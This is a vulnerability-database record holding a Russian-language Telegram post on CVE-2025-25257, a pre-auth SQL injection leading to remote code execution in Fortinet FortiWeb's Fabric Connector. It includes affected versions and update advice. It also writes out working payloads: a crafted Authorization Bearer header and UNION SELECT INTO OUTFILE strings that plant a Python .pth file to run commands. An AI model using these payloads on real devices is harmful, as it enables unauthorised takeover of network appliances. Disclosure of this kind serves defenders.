{"uuid": "b5cd848a-2c7f-48f0-ae6e-1e40085bb9e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-25257", "type": "published-proof-of-concept", "source": "https://t.me/purple_medved/355", "content": "Pre-Auth SQL Injection to RCE - Fortinet FortiWeb Fabric Connector\n\n\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2025-25257 (\u043e\u0446\u0435\u043d\u043a\u0430 \u043f\u043e CVSSv3=9.6) \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b Fortinet, \u0438\u043c\u0435\u043d\u0443\u0435\u043c\u043e\u043c FortiWeb Fabric Connector\ud83d\ude1c \u041a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u043c\u0438 (FortiWeb WAF, FortiGate NGFW, FortiManager, FortiWhatever) \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0435\u0439\u043a\u0438 Fortinet.\n\n\u041f\u043e \u0441\u0443\u0442\u0438 \u044d\u0442\u043e \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0430\u044f SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 get_fabric_user_by_token, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0434\u043b\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439 \u0441 FortiWeb API. \u042d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c char *a1 \u0438\u043d\u043f\u0443\u0442 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a Authorization: Bearer %128s \u043d\u0430 \u044d\u0442\u0438 \u0440\u0443\u0447\u043a\u0438:\n\nGET /api/fabric/device/status HTTP/1.1\nGET /api/v[0-9]/fabric/widget/[a-z]+\nGET /api/v[0-9]/fabric/widget\nHost: fortiweb_ip\nAuthorization: Bearer AAAAAA'or'1'='1\n\n\u0414\u0430\u043b\u0435\u0435 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 RCE \u0432 MySQL \u0447\u0435\u0440\u0435\u0437 INTO OUTFILE \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u043e \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u043c \u043e\u0442 root\ud83d\ude48 \u0410 \u0438\u043c\u0435\u043d\u043d\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u0430 \u0432 cgi-bin \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 Apache \u0441 \u0445\u0438\u0442\u0440\u044b\u043c \u0442\u0440\u044e\u043a\u043e\u043c \u043e\u0431\u0445\u043e\u0434\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u0437\u0430\u043f\u0440\u0435\u0442\u0430 \u043d\u0430 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 \u044d\u0442\u0443 \u0442\u0435\u0445\u043d\u0438\u043a\u0443 \u0438\u0437 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f SonarSource:\n\nPython supports a feature called site-specific configuration hooks. Its main purpose is to add custom paths to the module search path. To do this, a .pth file with an arbitrary name can be put in the .local/lib/pythonX.Y/site-packages/ folder in a user's home directory:\n'/**/or/**/1=1/**/UNION/**/SELECT/**/'import os;os.system(\\\\'ls\\\\')'/**/into/**/outfile/**/'/var/log/lib/python3.10/site-packages/trigger.pth\n\n\u0418 \u043e\u0431\u0445\u043e\u0434\u043e\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043d\u0430 128-character limit \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 Authorization: Bearer\n'/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'../../lib/python3.10/site-packages/x.pth'\n\n\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u044b\u0439 \u043e\u0442\u0447\u0435\u0442 \u043e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438\u0437 watchTowr \u0441 \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u044b\u043c \u0438 \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441 \u043d\u043e\u0442\u043a\u0430\u043c\u0438 \u0442\u043e\u043d\u043a\u043e\u0439 \u0438\u0440\u043e\u043d\u0438\u0438 \u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c \u0442\u0440\u044e\u043a\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0432\u0437\u044f\u0442\u044c \u043d\u0430 \u0432\u043e\u043e\u0440\u0443\u0436\u0435\u043d\u0438\u0435\ud83d\udc4d\n\n\u2699\ufe0f POC: https://github.com/watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257\n\ud83e\udeb2 \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u041f\u041e: FortiWeb 7.6.0 \u0434\u043e 7.6.3, FortiWeb 7.4.0 \u0434\u043e 7.4.7, FortiWeb 7.2.0 \u0434\u043e 7.2.10, FortiWeb 7.0.0 \u0434\u043e 7.0.10\n\u2705 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438: \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439", "creation_timestamp": "2025-07-14T13:32:04.000000Z"}